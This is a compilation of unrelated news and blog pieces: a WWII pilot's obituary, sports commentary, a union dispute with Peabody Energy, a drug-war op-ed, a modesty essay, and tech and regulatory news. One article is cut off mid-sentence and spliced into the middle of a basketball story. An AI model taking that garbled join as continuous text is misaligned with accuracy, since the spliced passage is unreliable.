For his valiant service, the French ambassador to the United States presented Overstreet with France's Legion of Honor at the National D-Day Memorial in Bedford in 2009.
Hero: World War II Aviator Bill Overstreet Jr., best known for flying beneath the Eiffel Tower in pursuit of a German plane, is pictured in his military days. He passed away in Virginia on Sunday, aged 92
Before the ceremony, Overstreet had previously said that, if he lived long enough to receive the Legion of Honor, he would be accepting it in memory of his fallen brothers.
In particular, he wanted to pay tribute to a friend, Eddy Simpson, who died fighting the Nazis on the ground so his comrades, including Overstreet, could escape.
After the award was pinned to his lapel, Overstreet said: 'If I said, "Thank you," it wouldn’t be enough,' before adding: 'What more than "thank you" do you need?'
Overstreet was also awarded hundreds of other medals for his service in the 357th squadron of the U.S. Army Air Forces, his obituary said.
He was born in Clifton Forge, Virginia in 1921 and after Pearl Harbor, he enlisted in the Air Corps as a fighter pilot.
By February 1942, he was a private and sent to California for flight training; here, his instructors prepared him for the unexpected mid-flight by cutting the engine as he landed.
Remembered: Overstreet was presented with France's Legion of Honour in 2009
Action: An artist's depiction of the dramatic moment shows Overstreet in his P51 Mustang chasing an ME 109 under the Eiffel Tower in Spring 1944. He was able to shoot the plane down
Overstreet credited this extreme training method with preparing him for the unexpected in war, Warbirds News reported.
During training in 1943, he suffered a near-death crash when his plane, a Bell P-39 Airacobra, began spinning as he practiced maneuvers, and he was unable to control it.
He eventually forced his way out through the doors and found himself standing amid the wreckage.
When he flew in World War II, he suffered another freak accident when his oxygen line cut out as he flew 25,000 feet over France.
He passed out but snapped awake and controlled the plane and dodged trees in front of him to figure out where he was and land safely. Newspapers at the time reported that he could not remember a whole 90 minutes of the flight.
In the spring of 1944, he was following a German aircraft over Paris, with the two planes firing at each other. Overstreet eventually hit the other pilot's engine.
Aircraft: Overstreet is pictured by his P-51 'Berlin Express', the plane he flew beneath the Eiffel Tower
Proud: Overstreet is pictured in 1943 with his cherished 1938 Buick in California, where he trained
Close call: The wreckage of his Bell P-39 Airacobra which spun out of control mid-air as he completed combat training in 1943. He managed to force his way out of the craft and walked away unhurt
As the German pilot desperately sought to out-maneuver Overstreet, he flew beneath the Eiffel Tower - but the brave American flew directly beneath it and continued to fire.
The German plane crashed and Overstreet was able to escape the city.
The astounding show of skill and bravery lifted the spirits of the French, french dignitary, Bernard Marie, told the Roanoke Times.
He said he only fully understood the importance of Overstreet's feat when he spoke with his father about it.
'My father began shouting out me - "I have to meet this man",' Marie said. 'This guy has done even more than what people are thinking. He lifted the spirit of the French.'
After flying further missions, including a top secret escort mission, his tour of duty ended in October 1944 and he returned to the U.S.
Loss: Bill Overstreet is pictured at an event, Warbirds Over the Beach, in 2013. After finishing his service, he returned to the U.S. and became an accountant - but he continued to attend veterans events
He went on to teach at a gunnery school in Pinellas, Florida and when he was released from active duty, he remained on the Reserves.
He went on to work as General Manager of Charleston Aviation in West Virginia before moving to Roanoke in 1950, where he worked as an accountant until he was 65.
Before his death, he also worked with numerous charities and veterans groups, appearing at air shows and gatherings with fellow veterans. He was preceded in death by his wife, Nita.
Anne Mason Keller, Overstreet's niece, said of her uncle: 'He was a fighter, he was always a perfect gentleman. He was concise, focused with a delightful sense of humor and a twinkle in his eyes.
'He was always humble. Whenever the press interviewed him, he said, "I didn't do anything, we were a team".'More than 250 astronomers and physicists have signed a letter protesting the New York Times’ coverage of sexual harassment charges brought against Geoffrey Marcy, a professor of astronomy at the University of California at Berkeley. Over the course of six months, Marcy underwent a formal internal investigation conducted by the university, responding to charges brought forward by four female students that he’d groped, kissed, and fondled them. The charges were very specific: for example, one student said that “he placed his hand on her leg, slid his hand up her thigh, and grabbed her crotch.”
After the six month investigation had concluded, the university found that Marcy had, in fact, systematically sexually harassed female students over the course of more than a decade. Nonetheless, he was not fired; the university merely put him “on a very tight leash.” Which means that if he starts groping another female student—or, more specifically, if he gets caught—then he’ll be in trouble. Or not.
This is the university version of the babysitter wagging her finger at her naughty charge and threatening, “Just wait until your parents get home!” Empty words carrying no consequences whatsoever.
Inside Berkeley’s astronomy department, more than twenty members of the faculty and staff were so incensed that they signed a petition to boot him. A fuller account compiled by Buzzfeed News helps explain why there is so much anger at the university’s decision to basically do nothing. In short: it’s not just these four students. Women warned other women about him, and inside the astronomy community, his behavior was an “open secret.” More are speaking out on Twitter using the hashtag, #AstroSH.
Which brings us back to that letter to the New York Times. The composers of that letter, as well as its signatories, represent a slice of people who make up a very particular segment of the scientific community. It’s not the easiest thing to rile up scientists who spend their life gazing at the stars, but over two hundred of them (and the list keeps growing) have signed a petition to get the NYTimes to retract its article on the following damning grounds: “on its false information, the clear bias of the author, the omission of relevant details, and the harm it is doing to your readers. Furthermore, we ask you in the future to consider that sympathy and support should be given to the survivors, not to the perpetrator.”
Here are the main concerns:
This article epitomizes the culture that champions the voices of predators and minimizes the experiences of survivors. Mr. Overbye's piece repeatedly sympathizes with Marcy, portraying him as a misunderstood, empathetic educator. This viewpoint is captured in the title of the article, and it is reinforced by quotes from Marcy and his wife that Marcy was "condemned without knowing all of the facts" and "the punishment Geoff is receiving here in the court of hysterical public opinion is far out of proportion to what he did". Not only are these statements false (see the next paragraph), but they employ the damaging tactic of painting female targets and their supporters as overly sensitive trouble-makers.
The entire letter merits reading, as it carefully documents exactly how they take issue with the coverage in the Times. These scientists are clearly frustrated by Marcy's behavior as well as his non-apology (which includes the admission that his advances were "unwelcomed by some women"-- implying just as strongly that other women welcomed them, never mind that he's married).
However, the letter takes specific issue with the coverage in the New York Times, stating that "women are dramatically underrepresented in our field and other sciences, in part because of the sexism and misogyny that this article reinforced." Their rebuke is a powerful indictment of the workings of that mythic thing called the “old boy network” where individuals of a certain class work to preserve its interests and protect its own rather than serve the interests of justice. Or, for that matter, the truth.Every year, I buy a new Cardinals jersey. It's a big decision, one I spend far too much time (not to mention money) on, and one I've been making since 2010, when I had to replace my go-to, no-question, wear-to-every-game-I-attend jersey.
That jersey -- my precious, my precious -- was my old reliable Rick Ankiel No. 66, the number he wore when he was the best young lefthander I'd ever seen in my life, back when he was doing things like this:
Ankiel is my favorite baseball player of all-time, because he represented what baseball means to me: It is psychological and infuriating and beautiful and infinite and baffling and transcendent. When he left the Cardinals in 2009, I couldn't wear the jersey anymore … but I knew it could never truly be replaced. So I've grabbed a new one each season:
• 2010: Matt Holliday, No. 7
• 2011: Adam Wainwright, No. 50
• 2012: David Freese, No. 23
• 2013: Chris Carpenter, No. 29
• 2014: Oscar Taveras, No. 18
• 2015: Matt Carpenter, No. 13
• 2016: Carlos Martinez, No. 18
(I have no idea how I never bought a Yadier Molina. I guess I just assume he'll be around forever.)
It's dorky when you wear a football or a basketball jersey to a game, but when you wear a baseball jersey, it's … OK, only somewhat less dorky. But it makes more sense: It's a shirt, after all, with buttons. More to the point: Which jersey you choose says something about you, about your fandom, about your devotion. Anyone can pick up a David Ortiz jersey. It's the Dave Roberts jersey that shows the depth of your knowledge. In St. Louis, you always saw a ton of Albert Pujols jerseys when he played there. But it was "MCGEE 51" that let everybody know you'd been a Cardinals fan for a long, long time. You want to pick the popular guy. But you also want to show the depth of your dedication. It's a tricky line for a dork to walk.
Thus, with a new season beginning, I thought I'd take a look at each team's jersey situation. We'll be ranking the best jerseys in three different categories:
• Historical: Retired or former players. Franchise legends.
• Current: Guys currently on the roster.
• Hipster/Contrarian: What's the most opposite, so-uncool-it's-cool jersey you could wear? The person perhaps most disliked by your fan base, or the worst free-agent signing, or just someone silly? Think of this as the equivalent of wearing a "Jeb! 2016" hat.
(You can find pretty much any jersey you want, by the way, at the MLB Shop.)
We'll go team by team, but know that, with all pieces like this, it's a work in progress. You know your team better than I know your team. If you have suggestions, corrections or alterations, please email me leitch@sportsonearth.com. But these are my best educated guesses.
AMERICAN LEAGUE
Baltimore Orioles
Historical
RIPKEN 8
ROBINSON 5
PALMER 22
Current
MACHADO 13
JONES 10
DAVIS 19
Hipster
PONSON 43
Boston Red Sox
Historical
WILLIAMS 9
YASTRZEMSKI 8
MARTINEZ 45
Current
ORTIZ 34
BETTS 50
PEDROIA 15
Hipster
SMOLTZ 29
Chicago White Sox
Historical
THOMAS 35
KONERKO 14
BAINES 3
Current
SALE 49
ABREU 79
FRAZIER 21
Hipster
JORDAN 45
Cleveland Indians
Historical
THOME 25
FELLER 19
DOBY 14
Current
LINDOR 12
KLUBER 28
CARRASCO 59
Hipster
KOBAYASHI 30
Detroit Tigers
Historical
GIBSON 23
GREENBERG 5
KALINE 6
Current
CABRERA 24
VERLANDER 35
UPTON 8
Hipster
ZUMAYA 54
Houston Astros
Historical
BIGGIO 7
BAGWELL 5
RYAN 34
Current
CORREA 1
ALTUVE 27
KEUCHEL 60
Hipster
SCHILLING 19
Kansas City Royals
Historical
BRETT 5
QUISENBERRY 29
WHITE 20
Current
PEREZ 13
DAVIS 17
GORDON 4
Hipster
HAMELIN 48
Los Angeles Angels of Anaheim
Historical
ANDERSON 16
ECKSTEIN 22
ERSTAD 17
Current
TROUT 27
PUJOLS 5
SIMMONS 2
Hipster
WELLS 10
Minnesota Twins
Historical
PUCKETT 34
HRBEK 14
CAREW 29
Current
SANO 22
BUXTON 25
MAUER 7
Hipster
ORTIZ 27
New York Yankees
Historical
RUTH 3
JETER 2
BERRA 8
Current
RODRIGUEZ 13
SABATHIA 52
GARDNER 11
Hipster
PAVANO 45
Tampa Bay Rays
Historical
PRICE 14
CRAWFORD 13
ZOBRIST 18
Current
ARCHER 22
LONGORIA 3
KIERMAIER 39
Hipster
CANSECO 33
Oakland A's
Historical
HENDERSON 24
JACKSON 9
MCGWIRE 25
Current
GRAY 54
BURNS 1
HILL 18
Hipster
HATTEBERG 10
Seattle Mariners
Historical
GRIFFEY 24
ICHIRO 51
MARTINEZ 11
Current
HERNANDEZ 34
CANO 22
CRUZ 23
Hipster
FIGGINS 9
Texas Rangers
Historical
RYAN 34
RODRIGUEZ 7
YOUNG 10
Current
DARVISH 11
BELTRE 29
ODOR 12
Hipster
PARK 61
Toronto Blue Jays
Historical
CARTER 29
STIEB 37
ALOMAR 12
Current
BAUTISTA 19
DONALDSON 20
TULOWITZKI 2
Hipster
AINGE 2
NATIONAL LEAGUE
Arizona Diamondbacks
Historical
GONZALEZ 20
JOHNSON 51
SCHILLING 38
Current
GOLDSCHMIDT 44
GREINKE 21
PERALTA 6
Hipster
ORTIZ 48
Atlanta Braves
Historical
AARON 44
MADDUX 31
JONES 10
Current
FREEMAN 5
TEHERAN 49
PIERZYNSKI 15
Hipster
UPTON 2
Chicago Cubs
Historical
BANKS 14
SANTO 10
SANDBERG 23
Current
BRYANT 17
RIZZO 44
SCHWARBER 12
Hipster
CHOI 19
Cincinnati Reds
Historical
ROSE 14
BENCH 5
MORGAN 8
Current
VOTTO 19
HAMILTON 6
STEPHENSON 55
Hipster
BURBA 34
Colorado Rockies
Historical
HELTON 17
WALKER 33
BICHETTE 10
Current
ARENADO 28
GONZALEZ 5
GRAY 55
Hipster
NIED 17
Los Angeles Dodgers
Historical
ROBINSON 42
KOUFAX 32
DRYSDALE 53
Current
KERSHAW 22
PUIG 66
SEAGER 5
Hipster
DREIFORT 37
Miami Marlins
Historical
CONINE 19
NEN 31
BECKETT 21
Current
STANTON 27
FERNANDEZ 16
ICHIRO 51
Hipster
PIAZZA 31
Milwaukee Brewers
Historical
YOUNT 19
FINGERS 34
AARON 44
Current
LUCROY 20
BRAUN 8
GENNETT 2
Hipster
SUPPAN 37
New York Mets
Historical
SEAVER 41
GOODEN 16
STRAWBERRY 18
Current
CESPEDES 52
SYNDERGAARD 34
HARVEY 33
Hipster
MEJIA 58
Philadelphia Phillies
Historical
SCHMIDT 20
DAULTON 10
DYKSTRA 4
Current
NOLA 27
FRANCO 7
HOWARD 6
Hipster
SANDBERG 37
Pittsburgh Pirates
Historical
CLEMENTE 21
STARGELL 8
TEKULVE 27
Current
MCCUTCHEN 22
KANG 27
COLE 45
Hipster
BREAM 5
St. Louis Cardinals
Historical
MUSIAL 6
MCGEE 51
SMITH 1
Current
MOLINA 4
MARTINEZ 18
CARPENTER 13
Hipster
TEMPLETON 1
San Diego Padres
Historical
GWYNN 19
WINFIELD 31
HOFFMAN 51
Current
CASHNER 34
KEMP 27
SHIELDS 33
Hipster
SMITH 1
San Francisco Giants
Historical
MAYS 24
BONDS 25
LINCECUM 55
Current
POSEY 28
BUMGARNER 40
PENCE 8
Hipster
ROWAND 33
Washington Nationals
Historical (all Expos in Nationals jerseys; personalize those puppies)
RAINES 30
DAWSON 10
MARTINEZ 45
Current
HARPER 34
SCHERZER 31
ZIMMERMAN 11
Hipster (again, Expos in Nationals gear)
COLON 40
* * *
Email me at leitch@sportsonearth.com; follow me @williamfleitch; or just shout out your window real loud, I'll hear you. Point is, let's talk.
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Here’s my theory of why Landon Donovan’s was excluded from the final World Cup roster, to be replaced by players much greener (or Green-er, depending on who you believe). It all comes down to arithmetic.
To be clear, I’d love to bemoan his exclusion from the roster. I may not be the most die-hard U.S. Men’s National Soccer Team (USMNT) fan, but I have watched every single game they have played since the 2010 World Cup, and I have looked forward to this summer with giddy anticipation. Like virtually all USMNT fans, Landon Donovan has a special place in my heart, and not seeing him in Brazil will be impossible to ignore. All that is true, but …But. As a team (and fan base), we’ve come too far to let his pink slip ruin our World Cup. These things come only every four years. We may want to be bitter that he was left out, but that does nobody any good. All I can (productively) do is try to make sense of it. So …
It all comes back to Landon’s now infamous sabbatical early last year. It was apparent at the time that Jurgen Klinsmann was unhappy with Donovan’s decision to leave soccer, and it is perfectly clear now. Perfectly. Take out that sabbatical, and there really is nothing on Donovan’s resume — including his recent swoon in productivity — that would have kept him off the roster. Let me illustrate my point. If Donovan hadn’t taken the sabbatical, do you think he would be on the 23 man roster? Of course you do. Because he would have.
Donovan’s sabbatical has been the lingering fart in his relationship with Klinsmann for the last year and a half. The pubic has known about it, but I think we also assumed that even though Klinsmann didn’t like it (I mean, who likes lingering farts?) he was prepared to overlook it once Donovan was fully reinstated into the USMNT fold. More or less, after Donovan made the goal in the World Cup clinching win against Mexico (and appeared full reinstated into the team), I think we all just assumed that he was back in Klinsmann’s good graces, and he was a shoo-in for Brazil.
But here’s where my theory of Klinsmann’s arithmetic comes in. We have all assumed that because of who Landon Donovan is (and was), that he gets bonus points. It’s natural, and usually quite logical. His experience and leadership in previous World Cups give him an advantage over other candidates. Why his experience is important goes without saying. Here’s the math the rest of us have been using. 3 World Cups + 5 goals + countless moments of brilliance = The Mystique of Landon Donovan (or MLD). We’ve falsely assumed that when Klinsmann was deciding on Donovan, that he would take wherever he is right now and just add MLD to the equation, meaning a certain inclusion.
But again, we’re understating what Klinsmann thought of the sabbatical. He was looking at Landon Donovan as a whole, over the stretch of his career, and with all the good he found, that sabbatical was really hard to ignore. Here’s the math I believe Klinsmann used when looking at Donovan. Team leader deserts team right before World Cup Qualifying + Is clearly not as driven as he once was = The Liability of Landon Donovan (LLD). While the rest of us monumentalized Landon Donovan’s previous heroics, and looked at them as the reason Donovan must be put on this year’s World Cup roster, Klinsmann merely looked at them as a reason to forgive his (presumably in Klinsmann’s mind) selfish sabbatical.
When Klinsmann told Donovan he’d have to earn his spot on the roster, here’s what I think he meant: LLD – MLD = Zero. In other words: “You start from scratch.” So, when Klinsmann brought in 30 guys to camp, he really did just want to see where Landon was now, because now was all that mattered. Suddenly, it did matter that the other guys were just a little better than Donovan. It was truly a mano-a-mano tryout, not a mano-a-leyenda tryout. We kept adding MLD to the equation, when Klinsmann had already subtracted that altogether. See, simple arithmetic.
Speaking of simple arithmetic, there are 18 days until America finally exacts its revenge on Ghana. Giddy up!
***
Bryson Kearl wrote this blog. This is the first World Cup cycle in which Bryson has followed the team zealously all four years, and watched every USMNT game. Let’s just say that if they lose inconspicuously in Brazil, he may never get over it.This is a demonstration of a 2D bin packing algorithm, operating on a continuously randomly-generated set of rectangles. Credit for this algorithm goes to Jim Scott. I don't think he invented it, but he made it easy to understand. Read his page to learn how it works.
I don't claim this to be any sort of optimal implementation. Ideally, you would have a pre-generated set of rectangles you want to pack into a certain area. You could then pre-sort them in different ways to find more efficient packing arrangements. There are also completely different algorithms for accomplishing this task. This is merely one. Bin packing is an NP-hard problem, meaning that the only way to find the best result is to try every possible combination in a brute force manner, which becomes computationally impractical or impossible when you have many items to pack together. Thus, algorithms like this one merely achieve an acceptable balance between packing efficiency and computation speed.
Fork it on github!
Speed: fastest faster slower
Piece size: bigger smaller smallest
% full ( pixels to go)
Next piece:by Sunny Hundal
The Sun newspaper has this front-page today, with a feeble attempt at defending itself.
It still doesn’t address the central point: where was the public interest in exposing Brown’s son’s cystic fibrosis?
It’s unlikely most people will look at that and take the newspaper’s side – no one would want details of their children’s illness to be exposed in such a way.
The Sun says today its source was a member of the public whose family has also experienced cystic fibrosis, and “had links” with the Brown family. But what kind of an idiot would expose someone else’s son’s medical condition to raise awareness of an illness while remaining anonymous themselves?
On Twitter last night, the response to the Sun’s front page was overwhelmingly negative.
A poll by YouGov last week found only 9% of people now think tabloid reporting is fair and accurate, with 71% believing it is not.
The chances that Britons will mostly take the Sun’s side over that of a grieving father is highly unlikely.
Time for another boycott campaign?I just finished watching the much-acclaimed series “Narcos” on Netflix. What a fantastic program. And what an excellent depiction of the futility and corruption of the war on drugs.
The series is a true-life account of Pablo Escobar, a Colombian drug lord who headed up the Medellin drug cartel, a black-market drug group that smuggled hundreds of tons of cocaine into the United States in the 1970s and 1980s. Smuggling an estimated 80 percent of the cocaine into the United States, Escobar became known as called the “King of Cocaine,” attaining in the process a net worth of $30 billion by the early 1990s. According to Wikipedia, Escobar was the wealthiest criminal in history.
Amidst much acclaim and publicity, the U.S. government and the Colombian government, working together, targeted Escobar with arrest or killing. Escobar retaliated by effectively declaring war on the government, a war that consisted of assassinations and bombings. Every time the DEA (which was operating in Colombia, along with the U.S. military and the CIA) and Colombian officials tightened the noose on Escobar’s operation, Escobar responded with bullets and bombs, killing a multitude of government officials and private citizens.
The logic of the drug-war crackdown was clear: By eradicating Escobar, officials thought they would be eradicating 80 percent of the cocaine being shipped into the United States. So, all the death and destruction resulting from the crackdown on Escobar was considered worth it in the long run.
But that’s not what happened. The more they tightened the noose around Escobar, the more his cocaine competitors — that is, the ones who were supplying the 20 percent, expanded their operations, gaining them a larger market share. Among the principal beneficiaries of the crackdown on Escobar was the Cali Cartel, which, not surprisingly, became the next big target of the U.S. and Colombian drug warriors, with similar results — the more they cracked down on the Cali Cartel, the more their competitors stepped into the breach and gained a larger market share.
In 1993, they finally caught up to Escobar and killed him in a shootout. You can imagine how U.S. and Colombian officials trumpeted that drug-war victory. Another “milestone” in the war on drugs, the term they have used for decades whenever they kill or capture some big drug lord.
But of course it was all to no avail. Even though they killed Escobar and ultimately smashed the
Medellin and Cali cartels, amidst great fanfare and publicity, other suppliers quickly took their places and continued providing cocaine users in the United States with their drug.
In other words, all those people who lost their lives in the drug war on Escobar died for nothing. Absolutely nothing.
There is something else to consider: what the drug war against Escobar did law-enforcement agents, both American and Colombian. It corrupted them to the core. Frustrated over all the death and destruction that Escobar was wreaking across the country and over their inability to apprehend him, officials began employing brutal and illegal tactics in return, such as torturing prisoners for information and then murdering them so that they couldn’t talk about what the officials had done to them.
Of course, there was also widespread bribery that was taking place within the Colombian police. In fact, that was one of the reasons they had such a hard time catching up to Escobar — his informants within the police and Colombian military would alert him to whatever was going on.
The pathetic thing about all this death, destruction, mayhem, and corruption is that there was a much simpler way to have put Escobar, the Cali Cartel, and all the other black-market drug suppliers out of business, a way that would not have involved assassinations, bombings, torture, and corruption. All that the U.S. and Colombian governments had to do was legalize drugs.
If they had done that, Escobar and the rest of the black-market suppliers would have been put out of business instantaneously. That’s because of the difference between legal markets and black markets.
In legal markets, suppliers compete against each other by providing better goods and services to their customers. Think CVS, Walgreen, and other pharmacies. Notice that they are not out bombing and assassinating each other and other people
It’s totally different in black or illegal markets. Competitors in these markets deal with each other through violent turf wars that involve murder, kidnapping, bombing, and mayhem. While people like Escobar are able to thrive in a black market, they inevitably go out of business in a legal market because they lack the skills that are necessary in legal markets.
A good example of this phenomenon is alcohol. We don’t see alcohol dealers killing each other to get a larger share of the market. That’s because booze is legal.
But it wasn’t that way when booze was illegal. During Prohibition, there were people like Al Capone involved in the sale and distribution of alcohol, along with killing, mayhem, and corruption.
This same principle, of course, applies today. Notwithstanding all the hoopla to which all of us are subjected when the feds or state drug warriors make a drug bust, the result is no different than it was 20-30 years ago with Escobar. The minute they make the bust, the supplier is replaced by someone else.
There is only one way to eradicate drug lords and illicit drug dealers, along with all the death, destruction, and corruption that comes with them: End the war on drugs by legalizing drugs.After Battle with Mining Giant Peabody, Willow Lake Coal Miners Win Union
Friends and co-workers welcome Willow Lake miner Wade Waller (center, second row) back to work. He was fired for advocating UMWA representation at the Peabody Energy-owned mine, but reinstated by court order. (Butch Oldham, UMWA)
Workers at the Willow Lake coal mine in southern Illinois are now represented by the United Mine Workers of America (UMWA) after the National Labor Relations Board (NLRB) certified the union’s victory in a rank-and-file election.
The National Labor Relations Board (NLRB) published a notice of its certification on September 4, following a lengthy series of administrative delays and legal actions. UMWA won a closely fought representation election on May 20, 2011, at the mine in rural Equality, Ill., about 150 miles east of St. Louis, Mo.
UMWA President Cecil Roberts called on the owner of the mine, Peabody Energy Corp., to quit stalling and negotiate a new contract for the 440 miners and production worker represented by the union. “It’s long past time for...Peabody Energy to finally accept the rule of law, sit down with its workers and negotiate a fair and equitable contract,” Roberts stated in a September 6 press release.
Peabody is the largest coal producer in the world, with extensive mining operations in the United States and Australia. Headquartered in St. Louis, Mo., it reported “record-setting financial performance” of $1.02 billion in profits last year, according to a statement from Peabody CEO Greg Boyce.
The NLRB’s action last week comes in the wake of a major court victory for labor against Peabody and its subsidiary, Big Ridge Inc. On April 30, U.S. District Court Judge G. Patrick Murphy ordered the company to cease an illegal anti-union campaign against the UMWA, and to reinstate Wade Waller, an outspoken Big Ridge employee who had been fired for supporting the union.
In issuing his order, Judge Murphy recounted the history of the UMWA organizing drive at Willow Lake. He stated that “Big Ridge proceeded to conduct a vigorous ant-union campaign” at about the same time that the UMWA sought a representation election at the mine.
“Big Ridge held a series of group meetings with employees, which included slide shows, films, and presentations by officials of Peabody Energy.... Big Ridge distributed flyers with employee paychecks, mailed letters and videotapes to employees’ homes, and made anti-union stickers available for employees to wear on their hardhats,” Judge Murphy’s wrote. The decision also noted the company "directed supervisors to make one-on-one contact with employees to encourage them to vote against UMWA representation.”
Despite the anti-union campaign, the UMWA prevailed in the election in a narrow vote of 219-206, according to NLRB records. But the company challenged the vote and fired Waller, a seven-year employee of Big Ridge with an outstanding work record. The only credible explanation for the firing, Judge Murphy determined, was that Waller “was one of the strongest and most outspoken UMWA supporters at the Willow Lake mine.”
Since the court action in favor of the union and Waller, Peabody has refused to begin contract talks, says UMWA Director of Communications Phil Smith. The NLRB’s recent certification of the union has not changed that, he says, and union lawyers will not be surprised if Peabody seeks a court appeal and further delay.
Meanwhile, UMWA faces a challenge from Peabody on an entirely different front.
According to UMWA, Peabody is abusing the legal process so as to avoid paying out millions in health care benefits that it owes to more than 20,000 former Peabody employees, retirees and family members.
In 2007, Peabody created a new company, Patriot Coal Corp., to operate most of its unionized coal mines in Appalachia. As part of the deal, Patriot assumed the liabilities for healthcare benefits for thousand of former Peabody employees and retirees, in addition to benefits for many dependents, UMWA said.
But in July, Patriot filed a Chapter 11 bankruptcy petition in federal court, saying it could no longer sustain its healthcare costs, which it estimated might exceed $100 million this year.
UMWA’s Roberts has charged that the spinoff of Patriot and the subsequent bankruptcy are both part of a deliberate attempt by |
which had a record five teams selected — a tremendous feat for a league considered by many as a mid-major conference.
Boise State, which took fifth in the league and was on the tournament bubble, was one of the last teams in the field. They are a No. 13 seed and play in the first round Wednesday against La Salle. The winner would play Kansas State on Friday.
The league’s other four teams to make the tournament were no surprise.
New Mexico, the league’s regular season and tournament champions, received a No. 3 seed in the West Region and will play Ivy League champ Harvard in Salt Lake City.
San Diego State is seeded No. 7 in the South Region and plays No. 10 Oklahoma to open the tournament. Oklahoma coach Lon Kruger could be at an advantage game-planning against the Aztecs from his days coaching at UNLV through the 2011 season.
Colorado State, which took second ahead of UNLV in the regular season, was seeded No. 8 in the Midwest Region and will face ninth-seeded Missouri.
This is a developing story. Check back later for updates.
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Ray Brewer can be reached at 990-2662 or [email protected]. Follow Ray on Twitter at twitter.com/raybrewer21.Sometimes my husband causes me to sin. He isn’t very helpful around the house. He works too late, and he should stop doing this because it makes me upset and unloving, thus, sin. Actually if he could do all the housework and go to work and provide for us then I wouldn’t be so tempted to sin by thinking bad thoughts about him.
Likewise, God is really tempting me into doubting Him. He isn’t blessing my family with riches and an easy life as he promises in the Old Testament to those who obey Him. I think God should start making our life much better so that I could not sin so much. He really is quite the stumbling block to my worship life.
Now, really, that sounds ridiculous. And yet, we hear it all the time when women are told to dress modestly.
Example One
Example Two This post actually contains this line “When a woman wears pants, subconsciously, she wants the man to look upon her with lustful thoughts.” I imagine that this is a big shock to the many pants wearing women out there. I can assure you that when I wore pants it was not in hopes that men would lust after me. I wore them because they were comfortable and practical and warm in wintertime.
I usually cringe inwardly when I see another post like the two above being shared on Facebook. It just feels wrong and yet I couldn’t explain why. It wasn’t until I started thinking of other situations and applying the same logic that it became clear just how wrong and ridiculous that line of thinking is.
I think part of the problem is that there is a huge emphasis put on the thought process of lust within Christian circles. The popular wisdom says it’s not only wrong to physically commit adultery, but also to THINK about committing adultery. This puts enormous pressure on men to severely control their thought life. It is good to control our thoughts, because actions are started with thoughts. But to say that we can never ever have wrong thoughts is not helpful, or reasonable. I think there should be much more emphasis on not continuing wrong thoughts rather than condemning even the involuntary thoughts that spring to mind at times.
As an example: A girl is washing the family car with the water hose. She sees her sister/brother/mom/dad walk by and just like that she realizes that ‘hey, I could direct the hose at them.’ She doesn’t have any ill will toward this family member, it was just an involuntary thought. Humans have the ability to connect objects together and this is a good skill when it creates thoughts of applying water to a dirty car.
I’m really not fond of the whole modesty thing. I have nothing against modesty itself, or the idea of it. The problem I have is that it’s so subjective. One person’s version of modesty is another person’s idea of complete immorality. My brother thinks that if your butt and breasts are covered then you are decently dressed. Some think that the entire arm must be covered, and others think elbows should be covered. Still others say sleeveless is fine as long as it’s not spaghetti straps. There are those who think that women should only wear dresses or skirts, and those who say pants are fine as long as they aren’t tight.
Some people would say I dress modestly and others would think I’m flamboyantly immodest. I remember seeing a Muslim woman at a Target store in Philly who was dressed head to toe in black. The only thing visible was her face. But not her neck or ears or hair. I felt a bit exposed next to her.
It should be noted that Adam and Eve were naked in the garden, and there is no mention of Adam being unable to control his lustful thoughts. It seems that only became a problem once people were dressed. Which also brings up another thought. I believe that when you commonly see women dressed ‘immorally’ you become used to it and it doesn’t cause thoughts of lust anymore than a ‘morally’ dressed woman does. But when you tell women that their knees must always be covered then the sight of bare knees becomes tantalizing. And so I question whether modesty standards actually have the effect of sexualizing a woman’s body.
If we accepted our bodies as normal healthy beings made to function in many ways and stopped putting an emphasis on it’s sexuality we would be all the wiser. Clothing should serve as comfortable and functional things to keep us warm and protect us from the elements, not trappings of legalism that cause guilt and shame.
So dress how you feel is modest, but please, please don’t make women responsible for men’s thought life. If thoughts enter your mind that you consider unclean, stop thinking those thoughts, but don’t condemn someone else. We need strong young men who take responsibility for their lives, and teaching them that women are the cause of lustful thoughts is a step in the wrong direction.
AdvertisementsApple will be playing a larger role in the development of Bluetooth as the company pushes into wearable technology, home automation and more.
The Bluetooth Special Interest Group, which oversees the development of the wireless communication standard, announced Tuesday that Apple has become a “promoter member” of the group, giving the company new power to guide Bluetooth’s development. Promoter members are given a continual seat on the group’s board of directors, and are also the only membership class that can vote on its corporate matters.
Apple has been an associate board member of the group since 2011, and the company’s senior wireless architect, Joakim Linde. currently serves as the board’s secretary. In the past, Apple’s board membership was term limited. The current promoter members—Ericsson, Intel, Lenovo, Microsoft, Nokia, and Toshiba—voted unanimously to have Apple join their ranks.
The company’s upgraded membership makes sense given how important Bluetooth is to so many of its products. The Apple Watch relies on Bluetooth to exchange information with the iPhone it’s paired to, and many of the continuity features introduced to iOS and OS X last year use Bluetooth to exchange information between Apple devices so users can transfer their work back and forth.
Apple first introduced Bluetooth support in Mac OS X at the 2002 Macworld Expo in Tokyo, along with a $49 Bluetooth adapter that allowed users to begin testing the wireless communication technology. Starting in 2003, users were able to purchase new Macs with Bluetooth built in. Since then, Bluetooth use has exploded, fueled by the popularity of mobile devices and wearable tech.
Those markets represent one of the tech industry’s new frontiers going forward, and today’s decision means that Apple will have a front seat to help guide the Bluetooth standard going forward. Interestingly, Google isn’t currently one of the interest group’s board members, even though it’s building technology like Android Wear that also relies on Bluetooth.Alcohol nutrition labels.jpeg
Alcoholic beverage nutrition labels could be coming soon to a bottle near you. Here pare pages from a ruling by the Department of the Treasury's Alcohol and Tobacco Tax and Trade Bureau showing voluntary recommendations for labeling of wines, distilled spirits and malt liquor. They were released Tuesday.
(AP photo/Jon Elswick)
Alcohol beverages soon could have nutritional labels like those on food packaging, but only if the producers want to put them there. The Treasury Department, which regulates alcohol, said this week that beer, wine and spirits companies may use labels that include serving size, servings per container, calories, carbohydrates, protein and fat per serving.
Such package labels have never before been approved. The newly authorized labels are voluntary, so it will be up to beverage companies to decide whether to use them on their products.
The decision is a temporary, first step while the Alcohol and Tobacco Trade and Tax Bureau, or TTB, continues to consider final rules on alcohol labels. Rules proposed in 2007 would have made labels mandatory, but the agency never made the rules final.
The labeling regulation, issued Tuesday, comes after a decade of lobbying by hard liquor companies and consumer groups, with clearly different goals. The liquor companies want to advertise low calories and low carbohydrates in their products. Consumer groups want alcoholic drinks to have the same transparency as packaged foods, which are required to be labeled.
